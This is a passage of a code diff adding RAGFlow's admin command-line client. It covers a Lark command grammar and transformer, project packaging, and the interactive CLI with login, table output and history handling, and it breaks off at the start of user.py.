+list_user_documents_metadata_summary: LIST METADATA SUMMARY OF DATASET quoted_string (DOCUMENTS quoted_string (COMMA quoted_string)*)? ";"
+list_user_agents: LIST AGENTS ";"
+list_user_chats: LIST CHATS ";"
+create_user_chat: CREATE CHAT quoted_string ";"
+drop_user_chat: DROP CHAT quoted_string ";"
+create_chat_session: CREATE CHAT quoted_string SESSION ";"
+drop_chat_session: DROP CHAT quoted_string SESSION quoted_string ";"
+list_chat_sessions: LIST CHAT quoted_string SESSIONS ";"
+chat_on_session: CHAT quoted_string ON quoted_string SESSION quoted_string ";"
+list_user_model_providers: LIST MODEL PROVIDERS ";"
+list_user_default_models: LIST DEFAULT MODELS ";"
+import_docs_into_dataset: IMPORT quoted_string INTO DATASET quoted_string ";"
+search_on_datasets: SEARCH quoted_string ON DATASETS quoted_string ";"
+get_chunk: GET CHUNK quoted_string ";"
+list_chunks: LIST CHUNKS OF DOCUMENT quoted_string ("PAGE" NUMBER)? ("SIZE" NUMBER)? ("KEYWORDS" quoted_string)? ("AVAILABLE" NUMBER)? ";"
+set_metadata: SET METADATA OF DOCUMENT quoted_string TO quoted_string ";"
+remove_tags: REMOVE TAGS quoted_string (COMMA quoted_string)* FROM DATASET quoted_string ";"
+remove_chunks: REMOVE CHUNKS quoted_string (COMMA quoted_string)* FROM DOCUMENT quoted_string ";"
+           | REMOVE ALL CHUNKS FROM DOCUMENT quoted_string ";"
+
+parse_dataset_docs: PARSE quoted_string OF DATASET quoted_string ";"
+parse_dataset_sync: PARSE DATASET quoted_string SYNC ";"
+parse_dataset_async: PARSE DATASET quoted_string ASYNC ";"
+
+// Internal CLI only for GO
+create_dataset_table: CREATE DATASET TABLE quoted_string VECTOR SIZE NUMBER ";"
+drop_dataset_table: DROP DATASET TABLE quoted_string ";"
+create_metadata_table: CREATE METADATA TABLE ";"
+drop_metadata_table: DROP METADATA TABLE ";"
+insert_dataset_from_file: INSERT DATASET FROM FILE quoted_string ";"
+insert_metadata_from_file: INSERT METADATA FROM FILE quoted_string ";"
+update_chunk: UPDATE CHUNK quoted_string OF DATASET quoted_string SET quoted_string ";"
+
+identifier_list: identifier (COMMA identifier)*
+
+identifier: WORD
+variable_value: WORD | NUMBER | QUOTED_STRING
+quoted_string: QUOTED_STRING
+status: ON | WORD
+
+QUOTED_STRING: /'[^']+'/ | /"[^"]+"/
+WORD: /[a-zA-Z0-9_\-\.]+/
+NUMBER: /[0-9]+/
+
+%import common.WS
+%ignore WS
+"""
+
+
+class RAGFlowCLITransformer(Transformer):
+    def start(self, items):
+        return items[0]
+
+    def command(self, items):
+        return items[0]
+
+    def login_user(self, items):
+        email = items[2].children[0].strip("'\"")
+        if len(items) == 5:
+            # With password: LOGIN USER email PASSWORD password
+            password = items[4].children[0].strip("'\"")
+            return {"type": "login_user", "email": email, "password": password}
+        else:
+            # Without password: LOGIN USER email
+            return {"type": "login_user", "email": email}
+
+    def ping_server(self, items):
+        return {"type": "ping_server"}
+
+    def list_services(self, items):
+        result = {"type": "list_services"}
+        return result
+
+    def show_service(self, items):
+        service_id = int(items[2])
+        return {"type": "show_service", "number": service_id}
+
+    def startup_service(self, items):
+        service_id = int(items[2])
+        return {"type": "startup_service", "number": service_id}
+
+    def shutdown_service(self, items):
+        service_id = int(items[2])
+        return {"type": "shutdown_service", "number": service_id}
+
+    def restart_service(self, items):
+        service_id = int(items[2])
+        return {"type": "restart_service", "number": service_id}
+
+    def register_user(self, items):
+        user_name: str = items[2].children[0].strip("'\"")
+        nickname: str = items[4].children[0].strip("'\"")
+        password: str = items[6].children[0].strip("'\"")
+        return {"type": "register_user", "user_name": user_name, "nickname": nickname, "password": password}
+
+    def list_users(self, items):
+        return {"type": "list_users"}
+
+    def show_user(self, items):
+        user_name = items[2]
+        return {"type": "show_user", "user_name": user_name}
+
+    def drop_user(self, items):
+        user_name = items[2]
+        return {"type": "drop_user", "user_name": user_name}
+
+    def alter_user(self, items):
+        user_name = items[3]
+        new_password = items[4]
+        return {"type": "alter_user", "user_name": user_name, "password": new_password}
+
+    def create_user(self, items):
+        user_name = items[2]
+        password = items[3]
+        return {"type": "create_user", "user_name": user_name, "password": password, "role": "user"}
+
+    def activate_user(self, items):
+        user_name = items[3]
+        activate_status = items[4]
+        return {"type": "activate_user", "activate_status": activate_status, "user_name": user_name}
+
+    def list_datasets(self, items):
+        user_name = items[3]
+        return {"type": "list_datasets", "user_name": user_name}
+
+    def list_agents(self, items):
+        user_name = items[3]
+        return {"type": "list_agents", "user_name": user_name}
+
+    def create_role(self, items):
+        role_name = items[2]
+        if len(items) > 4:
+            description = items[4]
+            return {"type": "create_role", "role_name": role_name, "description": description}
+        else:
+            return {"type": "create_role", "role_name": role_name}
+
+    def drop_role(self, items):
+        role_name = items[2]
+        return {"type": "drop_role", "role_name": role_name}
+
+    def alter_role(self, items):
+        role_name = items[2]
+        description = items[5]
+        return {"type": "alter_role", "role_name": role_name, "description": description}
+
+    def list_roles(self, items):
+        return {"type": "list_roles"}
+
+    def show_role(self, items):
+        role_name = items[2]
+        return {"type": "show_role", "role_name": role_name}
+
+    def grant_permission(self, items):
+        action_list = items[1]
+        resource = items[3]
+        role_name = items[6]
+        return {"type": "grant_permission", "role_name": role_name, "resource": resource, "actions": action_list}
+
+    def revoke_permission(self, items):
+        action_list = items[1]
+        resource = items[3]
+        role_name = items[6]
+        return {"type": "revoke_permission", "role_name": role_name, "resource": resource, "actions": action_list}
+
+    def alter_user_role(self, items):
+        user_name = items[2]
+        role_name = items[5]
+        return {"type": "alter_user_role", "user_name": user_name, "role_name": role_name}
+
+    def show_user_permission(self, items):
+        user_name = items[3]
+        return {"type": "show_user_permission", "user_name": user_name}
+
+    def show_version(self, items):
+        return {"type": "show_version"}
+
+    def grant_admin(self, items):
+        user_name = items[2]
+        return {"type": "grant_admin", "user_name": user_name}
+
+    def revoke_admin(self, items):
+        user_name = items[2]
+        return {"type": "revoke_admin", "user_name": user_name}
+
+    def generate_key(self, items):
+        user_name = items[4]
+        return {"type": "generate_key", "user_name": user_name}
+
+    def list_keys(self, items):
+        user_name = items[3]
+        return {"type": "list_keys", "user_name": user_name}
+
+    def drop_key(self, items):
+        key = items[2]
+        user_name = items[4]
+        return {"type": "drop_key", "key": key, "user_name": user_name}
+
+    def set_variable(self, items):
+        var_name = items[2]
+        var_value = items[3]
+        return {"type": "set_variable", "var_name": var_name, "var_value": var_value}
+
+    def show_variable(self, items):
+        var_name = items[2]
+        return {"type": "show_variable", "var_name": var_name}
+
+    def list_variables(self, items):
+        return {"type": "list_variables"}
+
+    def list_configs(self, items):
+        return {"type": "list_configs"}
+
+    def list_environments(self, items):
+        return {"type": "list_environments"}
+
+    def show_fingerprint(self, items):
+        return {"type": "show_fingerprint"}
+
+    def set_license(self, items):
+        license = items[2].children[0].strip("'\"")
+        return {"type": "set_license", "license": license}
+
+    def set_license_config(self, items):
+        value1: int = int(items[3])
+        value2: int = int(items[4])
+        return {"type": "set_license_config", "value1": value1, "value2": value2}
+
+    def show_license(self, items):
+        return {"type": "show_license"}
+
+    def check_license(self, items):
+        return {"type": "check_license"}
+
+    def list_server_configs(self, items):
+        return {"type": "list_server_configs"}
+
+    def create_model_provider(self, items):
+        provider_name = items[3].children[0].strip("'\"")
+        provider_key = items[4].children[0].strip("'\"")
+        return {"type": "create_model_provider", "provider_name": provider_name, "provider_key": provider_key}
+
+    def drop_model_provider(self, items):
+        provider_name = items[3].children[0].strip("'\"")
+        return {"type": "drop_model_provider", "provider_name": provider_name}
+
+    def show_current_user(self, items):
+        return {"type": "show_current_user"}
+
+    def set_default_llm(self, items):
+        llm_id = items[3].children[0].strip("'\"")
+        return {"type": "set_default_model", "model_type": "llm_id", "model_id": llm_id}
+
+    def set_default_vlm(self, items):
+        vlm_id = items[3].children[0].strip("'\"")
+        return {"type": "set_default_model", "model_type": "img2txt_id", "model_id": vlm_id}
+
+    def set_default_embedding(self, items):
+        embedding_id = items[3].children[0].strip("'\"")
+        return {"type": "set_default_model", "model_type": "embd_id", "model_id": embedding_id}
+
+    def set_default_reranker(self, items):
+        reranker_id = items[3].children[0].strip("'\"")
+        return {"type": "set_default_model", "model_type": "reranker_id", "model_id": reranker_id}
+
+    def set_default_asr(self, items):
+        asr_id = items[3].children[0].strip("'\"")
+        return {"type": "set_default_model", "model_type": "asr_id", "model_id": asr_id}
+
+    def set_default_tts(self, items):
+        tts_id = items[3].children[0].strip("'\"")
+        return {"type": "set_default_model", "model_type": "tts_id", "model_id": tts_id}
+
+    def reset_default_llm(self, items):
+        return {"type": "reset_default_model", "model_type": "llm_id"}
+
+    def reset_default_vlm(self, items):
+        return {"type": "reset_default_model", "model_type": "img2txt_id"}
+
+    def reset_default_embedding(self, items):
+        return {"type": "reset_default_model", "model_type": "embd_id"}
+
+    def reset_default_reranker(self, items):
+        return {"type": "reset_default_model", "model_type": "reranker_id"}
+
+    def reset_default_asr(self, items):
+        return {"type": "reset_default_model", "model_type": "asr_id"}
+
+    def reset_default_tts(self, items):
+        return {"type": "reset_default_model", "model_type": "tts_id"}
+
+    def list_user_datasets(self, items):
+        return {"type": "list_user_datasets"}
+
+    def create_user_dataset_with_parser(self, items):
+        dataset_name = items[2].children[0].strip("'\"")
+        embedding = items[5].children[0].strip("'\"")
+        parser_type = items[7].children[0].strip("'\"")
+        return {"type": "create_user_dataset", "dataset_name": dataset_name, "embedding": embedding, "parser_type": parser_type}
+
+    def create_user_dataset_with_pipeline(self, items):
+        dataset_name = items[2].children[0].strip("'\"")
+        embedding = items[5].children[0].strip("'\"")
+        pipeline = items[7].children[0].strip("'\"")
+        return {"type": "create_user_dataset", "dataset_name": dataset_name, "embedding": embedding, "pipeline": pipeline}
+
+    def drop_user_dataset(self, items):
+        dataset_name = items[2].children[0].strip("'\"")
+        return {"type": "drop_user_dataset", "dataset_name": dataset_name}
+
+    def list_user_dataset_files(self, items):
+        dataset_name = items[4].children[0].strip("'\"")
+        return {"type": "list_user_dataset_files", "dataset_name": dataset_name}
+
+    def list_user_dataset_documents(self, items):
+        dataset_name = items[4].children[0].strip("'\"")
+        return {"type": "list_user_dataset_documents", "dataset_name": dataset_name}
+
+    def list_user_datasets_metadata(self, items):
+        dataset_names = []
+        dataset_names.append(items[4].children[0].strip("'\""))
+        for i in range(5, len(items)):
+            if items[i] and hasattr(items[i], "children") and items[i].children:
+                dataset_names.append(items[i].children[0].strip("'\""))
+        return {"type": "list_user_datasets_metadata", "dataset_names": dataset_names}
+
+    def list_user_documents_metadata_summary(self, items):
+        dataset_name = items[5].children[0].strip("'\"")
+        doc_ids = []
+        if len(items) > 6 and items[6] == "DOCUMENTS":
+            for i in range(7, len(items)):
+                if items[i] and hasattr(items[i], "children") and items[i].children:
+                    doc_id = items[i].children[0].strip("'\"")
+                    doc_ids.append(doc_id)
+        return {"type": "list_user_documents_metadata_summary", "dataset_name": dataset_name, "document_ids": doc_ids}
+
+    def list_user_agents(self, items):
+        return {"type": "list_user_agents"}
+
+    def list_user_chats(self, items):
+        return {"type": "list_user_chats"}
+
+    def create_user_chat(self, items):
+        chat_name = items[2].children[0].strip("'\"")
+        return {"type": "create_user_chat", "chat_name": chat_name}
+
+    def drop_user_chat(self, items):
+        chat_name = items[2].children[0].strip("'\"")
+        return {"type": "drop_user_chat", "chat_name": chat_name}
+
+    def create_dataset_table(self, items):
+        dataset_name = None
+        vector_size = None
+        for i, item in enumerate(items):
+            if hasattr(item, "data") and item.data == "quoted_string":
+                dataset_name = item.children[0].strip("'\"")
+            if hasattr(item, "type") and item.type == "NUMBER":
+                if i > 0 and items[i - 1].type == "SIZE" and items[i - 2].type == "VECTOR":
+                    vector_size = int(item)
+        return {"type": "create_dataset_table", "dataset_name": dataset_name, "vector_size": vector_size}
+
+    def drop_dataset_table(self, items):
+        dataset_name = None
+        for item in items:
+            if hasattr(item, "data") and item.data == "quoted_string":
+                dataset_name = item.children[0].strip("'\"")
+        return {"type": "drop_dataset_table", "dataset_name": dataset_name}
+
+    def create_metadata_table(self, items):
+        return {"type": "create_metadata_table"}
+
+    def drop_metadata_table(self, items):
+        return {"type": "drop_metadata_table"}
+
+    def list_user_model_providers(self, items):
+        return {"type": "list_user_model_providers"}
+
+    def list_user_default_models(self, items):
+        return {"type": "list_user_default_models"}
+
+    def parse_dataset_docs(self, items):
+        document_list_str = items[1].children[0].strip("'\"")
+        document_names = document_list_str.split(",")
+        if len(document_names) == 1:
+            document_names = document_names[0]
+            document_names = document_names.split(" ")
+        dataset_name = items[4].children[0].strip("'\"")
+        return {"type": "parse_dataset_docs", "dataset_name": dataset_name, "document_names": document_names}
+
+    def parse_dataset_sync(self, items):
+        dataset_name = items[2].children[0].strip("'\"")
+        return {"type": "parse_dataset", "dataset_name": dataset_name, "method": "sync"}
+
+    def parse_dataset_async(self, items):
+        dataset_name = items[2].children[0].strip("'\"")
+        return {"type": "parse_dataset", "dataset_name": dataset_name, "method": "async"}
+
+    def create_chat_session(self, items):
+        chat_name = items[2].children[0].strip("'\"")
+        return {"type": "create_chat_session", "chat_name": chat_name}
+
+    def drop_chat_session(self, items):
+        chat_name = items[2].children[0].strip("'\"")
+        session_id = items[4].children[0].strip("'\"")
+        return {"type": "drop_chat_session", "chat_name": chat_name, "session_id": session_id}
+
+    def list_chat_sessions(self, items):
+        chat_name = items[2].children[0].strip("'\"")
+        return {"type": "list_chat_sessions", "chat_name": chat_name}
+
+    def chat_on_session(self, items):
+        message = items[1].children[0].strip("'\"")
+        chat_name = items[3].children[0].strip("'\"")
+        session_id = items[5].children[0].strip("'\"")
+        return {"type": "chat_on_session", "message": message, "chat_name": chat_name, "session_id": session_id}
+
+    def import_docs_into_dataset(self, items):
+        document_list_str = items[1].children[0].strip("'\"")
+        document_paths = document_list_str.split(",")
+        if len(document_paths) == 1:
+            document_paths = document_paths[0]
+            document_paths = document_paths.split(" ")
+        dataset_name = items[4].children[0].strip("'\"")
+        return {"type": "import_docs_into_dataset", "dataset_name": dataset_name, "document_paths": document_paths}
+
+    def search_on_datasets(self, items):
+        question = items[1].children[0].strip("'\"")
+        datasets_str = items[4].children[0].strip("'\"")
+        datasets = datasets_str.split(",")
+        if len(datasets) == 1:
+            datasets = datasets[0]
+            datasets = datasets.split(" ")
+        return {"type": "search_on_datasets", "datasets": datasets, "question": question}
+
+    def get_chunk(self, items):
+        chunk_id = items[2].children[0].strip("'\"")
+        return {"type": "get_chunk", "chunk_id": chunk_id}
+
+    def insert_dataset_from_file(self, items):
+        file_path = items[4].children[0].strip("'\"")
+        return {"type": "insert_dataset_from_file", "file_path": file_path}
+
+    def insert_metadata_from_file(self, items):
+        file_path = items[4].children[0].strip("'\"")
+        return {"type": "insert_metadata_from_file", "file_path": file_path}
+
+    def update_chunk(self, items):
+        def get_quoted_value(item):
+            if hasattr(item, "children") and item.children:
+                return item.children[0].strip("'\"")
+            return str(item).strip("'\"")
+
+        chunk_id = get_quoted_value(items[2])
+        dataset_name = get_quoted_value(items[5])
+        json_body = get_quoted_value(items[7])
+        return {"type": "update_chunk", "chunk_id": chunk_id, "dataset_name": dataset_name, "json_body": json_body}
+
+    def set_metadata(self, items):
+        doc_id = items[4].children[0].strip("'\"")
+        meta_json = items[6].children[0].strip("'\"")
+        return {"type": "set_metadata", "doc_id": doc_id, "meta": meta_json}
+
+    def remove_tags(self, items):
+        # items: REMOVE, TAGS, quoted_string(tag1), quoted_string(tag2), ..., FROM, DATASET, quoted_string(dataset_name), ";"
+        tags = []
+        # Start from index 2 (after TAGS keyword) and parse quoted strings until FROM
+        for i in range(2, len(items)):
+            item = items[i]
+            # Check for FROM token to stop
+            if hasattr(item, "type") and item.type == "FROM":
+                break
+            if hasattr(item, "children") and item.children:
+                tag = item.children[0].strip("'\"")
+                tags.append(tag)
+        # Find dataset_name: quoted_string after DATASET
+        dataset_name = None
+        for i, item in enumerate(items):
+            # Check if item is a DATASET token
+            if hasattr(item, "type") and item.type == "DATASET":
+                # Next item should be quoted_string
+                dataset_name = items[i + 1].children[0].strip("'\"")
+                break
+        return {"type": "remove_tags", "dataset_name": dataset_name, "tags": tags}
+
+    def remove_chunks(self, items):
+        # Handle two cases:
+        # 1. REMOVE CHUNKS quoted_string (COMMA quoted_string)* FROM DOCUMENT quoted_string ";"
+        # 2. REMOVE ALL CHUNKS FROM DOCUMENT quoted_string ";"
+
+        # Check if it's "REMOVE ALL CHUNKS"
+        for item in items:
+            if hasattr(item, "type") and item.type == "ALL":
+                # Find doc_id
+                for j, inner_item in enumerate(items):
+                    if hasattr(inner_item, "type") and inner_item.type == "DOCUMENT":
+                        doc_id = items[j + 1].children[0].strip("'\"")
+                        return {"type": "remove_chunks", "doc_id": doc_id, "delete_all": True}
+
+        # Otherwise, we have chunk_ids
+        chunk_ids = []
+        doc_id = None
+        for i, item in enumerate(items):
+            if hasattr(item, "type") and item.type == "DOCUMENT":
+                doc_id = items[i + 1].children[0].strip("'\"")
+            elif hasattr(item, "children") and item.children:
+                val = item.children[0].strip("'\"")
+                # Skip if it's "FROM" or "DOCUMENT"
+                if val.upper() in ["FROM", "DOCUMENT"]:
+                    continue
+                chunk_ids.append(val)
+
+        return {"type": "remove_chunks", "doc_id": doc_id, "chunk_ids": chunk_ids}
+
+    def list_chunks(self, items):
+        doc_id = items[4].children[0].strip("'\"")
+        result = {"type": "list_chunks", "doc_id": doc_id}
+
+        # Parse optional parameters: PAGE, SIZE, KEYWORDS, AVAILABLE
+        # items structure varies based on which params are present
+        for i, item in enumerate(items):
+            if str(item) == "PAGE":
+                result["page"] = int(items[i + 1])
+            elif str(item) == "SIZE":
+                result["size"] = int(items[i + 1])
+            elif str(item) == "KEYWORDS":
+                result["keywords"] = items[i + 1].children[0].strip("'\"")
+            elif str(item) == "AVAILABLE":
+                result["available_int"] = int(items[i + 1])
+
+        return result
+
+    def benchmark(self, items):
+        concurrency: int = int(items[1])
+        iterations: int = int(items[2])
+        command = items[3].children[0]
+        return {"type": "benchmark", "concurrency": concurrency, "iterations": iterations, "command": command}
+
+    def action_list(self, items):
+        return items
+
+    def meta_command(self, items):
+        command_name = str(items[0]).lower()
+        args = items[1:] if len(items) > 1 else []
+
+        # handle quoted parameter
+        parsed_args = []
+        for arg in args:
+            if hasattr(arg, "value"):
+                parsed_args.append(arg.value)
+            else:
+                parsed_args.append(str(arg))
+
+        return {"type": "meta", "command": command_name, "args": parsed_args}
+
+    def meta_command_name(self, items):
+        return items[0]
+
+    def meta_args(self, items):
+        return items

admin/client/pyproject.toml

@@ -0,0 +1,27 @@
+[project]
+name = "ragflow-cli"
+version = "0.26.4"
+description = "Admin Service's client of [RAGFlow](https://github.com/infiniflow/ragflow). The Admin Service provides user management and system monitoring. "
+authors = [{ name = "Lynn", email = "lynn_inf@hotmail.com" }]
+license = { text = "Apache License, Version 2.0" }
+readme = "README.md"
+requires-python = ">=3.13,<3.14"
+dependencies = [
+    "requests>=2.30.0,<3.0.0",
+    "beartype>=0.22.9,<1.0.0",
+    "pycryptodomex>=3.10.0",
+    "lark>=1.1.0",
+    "requests-toolbelt>=1.0.0",
+]
+
+[dependency-groups]
+test = [
+    "pytest>=8.3.5",
+    "requests>=2.32.3",
+]
+
+[tool.setuptools]
+py-modules = ["ragflow_cli", "parser", "http_client", "ragflow_client", "user"]
+
+[project.scripts]
+ragflow-cli = "ragflow_cli:main"

admin/client/ragflow_cli.py

@@ -0,0 +1,330 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+import sys
+import argparse
+import base64
+import getpass
+import os
+import atexit
+import readline
+from cmd import Cmd
+from typing import Any, Dict, List
+
+import requests
+import warnings
+from Cryptodome.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
+from Cryptodome.PublicKey import RSA
+from lark import Lark, Tree
+from parser import GRAMMAR, RAGFlowCLITransformer
+from http_client import HttpClient
+from ragflow_client import RAGFlowClient, run_command
+from user import login_user
+
+warnings.filterwarnings("ignore", category=getpass.GetPassWarning)
+
+
+def encrypt(input_string):
+    pub = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArq9XTUSeYr2+N1h3Afl/z8Dse/2yD0ZGrKwx+EEEcdsBLca9Ynmx3nIB5obmLlSfmskLpBo0UACBmB5rEjBp2Q2f3AG3Hjd4B+gNCG6BDaawuDlgANIhGnaTLrIqWrrcm4EMzJOnAOI1fgzJRsOOUEfaS318Eq9OVO3apEyCCt0lOQK6PuksduOjVxtltDav+guVAA068NrPYmRNabVKRNLJpL8w4D44sfth5RvZ3q9t+6RTArpEtc5sh5ChzvqPOzKGMXW83C95TxmXqpbK6olN4RevSfVjEAgCydH6HN6OhtOQEcnrU97r9H0iZOWwbw3pVrZiUkuRD1R56Wzs2wIDAQAB\n-----END PUBLIC KEY-----"
+    pub_key = RSA.importKey(pub)
+    cipher = Cipher_pkcs1_v1_5.new(pub_key)
+    cipher_text = cipher.encrypt(base64.b64encode(input_string.encode("utf-8")))
+    return base64.b64encode(cipher_text).decode("utf-8")
+
+
+def encode_to_base64(input_string):
+    base64_encoded = base64.b64encode(input_string.encode("utf-8"))
+    return base64_encoded.decode("utf-8")
+
+
+class RAGFlowCLI(Cmd):
+    def __init__(self):
+        super().__init__()
+        self.parser = Lark(GRAMMAR, start="start", parser="lalr", transformer=RAGFlowCLITransformer())
+        self.command_history = []
+        self.account = "admin@ragflow.io"
+        self.account_password: str = "admin"
+        self.session = requests.Session()
+        self.host: str = ""
+        self.port: int = 0
+        self.mode: str = "admin"
+        self.ragflow_client = None
+        # History file for readline persistence
+        self.history_file = os.path.expanduser("~/.ragflow_cli_history")
+        # Load existing history
+        self._load_history()
+        # Register cleanup to save history on exit
+        atexit.register(self._save_history)
+
+    intro = r"""Type "\h" for help."""
+    prompt = "ragflow> "
+
+    def onecmd(self, command: str) -> bool:
+        try:
+            result = self.parse_command(command)
+
+            if isinstance(result, dict):
+                if "type" in result and result.get("type") == "empty":
+                    return False
+
+            self.execute_command(result)
+
+            if isinstance(result, Tree):
+                return False
+
+            if result.get("type") == "meta" and result.get("command") in ["q", "quit", "exit"]:
+                return True
+
+        except KeyboardInterrupt:
+            print("\nUse '\\q' to quit")
+        except EOFError:
+            print("\nGoodbye!")
+            return True
+        return False
+
+    def emptyline(self) -> bool:
+        return False
+
+    def default(self, line: str) -> bool:
+        return self.onecmd(line)
+
+    def parse_command(self, command_str: str) -> dict[str, str]:
+        if not command_str.strip():
+            return {"type": "empty"}
+
+        self.command_history.append(command_str)
+        readline.add_history(command_str)
+
+        try:
+            result = self.parser.parse(command_str)
+            return result
+        except Exception as e:
+            return {"type": "error", "message": f"Parse error: {str(e)}"}
+
+    def verify_auth(self, arguments: dict, single_command: bool, auth: bool):
+        server_type = arguments.get("type", "admin")
+        http_client = HttpClient(arguments["host"], arguments["port"])
+        if not auth:
+            self.ragflow_client = RAGFlowClient(http_client, server_type)
+            return True
+
+        user_name = arguments["username"]
+        attempt_count = 3
+        if single_command:
+            attempt_count = 1
+
+        try_count = 0
+        while True:
+            try_count += 1
+            if try_count > attempt_count:
+                return False
+
+            if single_command:
+                user_password = arguments["password"]
+            else:
+                user_password = getpass.getpass(f"password for {user_name}: ").strip()
+
+            try:
+                token = login_user(http_client, server_type, user_name, user_password)
+                http_client.login_token = token
+                self.ragflow_client = RAGFlowClient(http_client, server_type)
+                return True
+            except Exception as e:
+                print(str(e))
+                print("Can't access server for login (connection failed)")
+
+    def _format_service_detail_table(self, data):
+        if isinstance(data, list):
+            return data
+        if not all([isinstance(v, list) for v in data.values()]):
+            # normal table
+            return data
+        # handle task_executor heartbeats map, for example {'name': [{'done': 2, 'now': timestamp1}, {'done': 3, 'now': timestamp2}]
+        task_executor_list = []
+        for k, v in data.items():
+            # display latest status
+            heartbeats = sorted(v, key=lambda x: x["now"], reverse=True)
+            task_executor_list.append(
+                {
+                    "task_executor_name": k,
+                    **heartbeats[0],
+                }
+                if heartbeats
+                else {"task_executor_name": k}
+            )
+        return task_executor_list
+
+    def _print_table_simple(self, data):
+        if not data:
+            print("No data to print")
+            return
+        if isinstance(data, dict):
+            # handle single row data
+            data = [data]
+
+        columns = list(set().union(*(d.keys() for d in data)))
+        columns.sort()
+        col_widths = {}
+
+        def get_string_width(text):
+            half_width_chars = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\t\n\r"
+            width = 0
+            for char in text:
+                if char in half_width_chars:
+                    width += 1
+                else:
+                    width += 2
+            return width
+
+        for col in columns:
+            max_width = get_string_width(str(col))
+            for item in data:
+                value_len = get_string_width(str(item.get(col, "")))
+                if value_len > max_width:
+                    max_width = value_len
+            col_widths[col] = max(2, max_width)
+
+        # Generate delimiter
+        separator = "+" + "+".join(["-" * (col_widths[col] + 2) for col in columns]) + "+"
+
+        # Print header
+        print(separator)
+        header = "|" + "|".join([f" {col:<{col_widths[col]}} " for col in columns]) + "|"
+        print(header)
+        print(separator)
+
+        # Print data
+        for item in data:
+            row = "|"
+            for col in columns:
+                value = str(item.get(col, ""))
+                if get_string_width(value) > col_widths[col]:
+                    value = value[: col_widths[col] - 3] + "..."
+                row += f" {value:<{col_widths[col] - (get_string_width(value) - len(value))}} |"
+            print(row)
+
+        print(separator)
+
+    def _load_history(self):
+        """Load command history from file."""
+        try:
+            if os.path.exists(self.history_file):
+                readline.read_history_file(self.history_file)
+        except Exception:
+            pass  # Ignore errors loading history
+
+    def _save_history(self):
+        """Save command history to file."""
+        try:
+            readline.write_history_file(self.history_file)
+        except Exception:
+            pass  # Ignore errors saving history
+
+    def run_interactive(self, args):
+        if self.verify_auth(args, single_command=False, auth=args["auth"]):
+            print(r"""
+                ____  ___   ______________                 ________    ____
+               / __ \/   | / ____/ ____/ /___ _      __   / ____/ /   /  _/
+              / /_/ / /| |/ / __/ /_  / / __ \ | /| / /  / /   / /    / /
+             / _, _/ ___ / /_/ / __/ / / /_/ / |/ |/ /  / /___/ /____/ /
+            /_/ |_/_/  |_\____/_/   /_/\____/|__/|__/   \____/_____/___/
+            """)
+            self.cmdloop()
+
+        print("RAGFlow command line interface - Type '\\?' for help, '\\q' to quit")
+
+    def run_single_command(self, args):
+        if self.verify_auth(args, single_command=True, auth=args["auth"]):
+            command = args["command"]
+            result = self.parse_command(command)
+            self.execute_command(result)
+
+    def parse_connection_args(self, args: List[str]) -> Dict[str, Any]:
+        parser = argparse.ArgumentParser(description="RAGFlow CLI Client", add_help=False)
+        parser.add_argument("-h", "--host", default="127.0.0.1", help="Admin or RAGFlow service host")
+        parser.add_argument("-p", "--port", type=int, default=9381, help="Admin or RAGFlow service port")
+        parser.add_argument("-w", "--password", default="admin", type=str, help="Superuser password")
+        parser.add_argument("-t", "--type", default="admin", type=str, help="CLI mode, admin or user")
+        parser.add_argument("-u", "--username", default=None, help="Username (email). In admin mode defaults to admin@ragflow.io, in user mode required.")
+        parser.add_argument("command", nargs="?", help="Single command")
+        try:
+            parsed_args, remaining_args = parser.parse_known_args(args)
+            # Determine username based on mode
+            username = parsed_args.username
+            if parsed_args.type == "admin":
+                if username is None:
+                    username = "admin@ragflow.io"
+
+            if remaining_args:
+                if remaining_args[0] == "command":
+                    command_str = " ".join(remaining_args[1:]) + ";"
+                    auth = True
+                    if remaining_args[1] == "register":
+                        auth = False
+                    else:
+                        if username is None:
+                            print("Error: username (-u) is required in user mode")
+                            return {"error": "Username required"}
+                    return {"host": parsed_args.host, "port": parsed_args.port, "password": parsed_args.password, "type": parsed_args.type, "username": username, "command": command_str, "auth": auth}
+                else:
+                    return {"error": "Invalid command"}
+            else:
+                auth = True
+                if username is None:
+                    auth = False
+                return {"host": parsed_args.host, "port": parsed_args.port, "type": parsed_args.type, "username": username, "auth": auth}
+        except SystemExit:
+            return {"error": "Invalid connection arguments"}
+
+    def execute_command(self, parsed_command: Dict[str, Any]):
+        command_dict: dict
+        if isinstance(parsed_command, Tree):
+            command_dict = parsed_command.children[0]
+        else:
+            if parsed_command["type"] == "error":
+                print(f"Error: {parsed_command['message']}")
+                return
+            else:
+                command_dict = parsed_command
+
+        # print(f"Parsed command: {command_dict}")
+        run_command(self.ragflow_client, command_dict)
+
+
+def main():
+
+    cli = RAGFlowCLI()
+
+    args = cli.parse_connection_args(sys.argv)
+    if "error" in args:
+        print("Error: Invalid connection arguments")
+        return
+
+    if "command" in args:
+        # single command mode
+        # for user mode, api key or password is ok
+        # for admin mode, only password
+        if "password" not in args:
+            print("Error: password is missing")
+            return
+
+        cli.run_single_command(args)
+    else:
+        cli.run_interactive(args)
+
+
+if __name__ == "__main__":
+    main()

admin/client/user.py

@@ -0,0 +1,76 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+from http_client import HttpClient
+
+
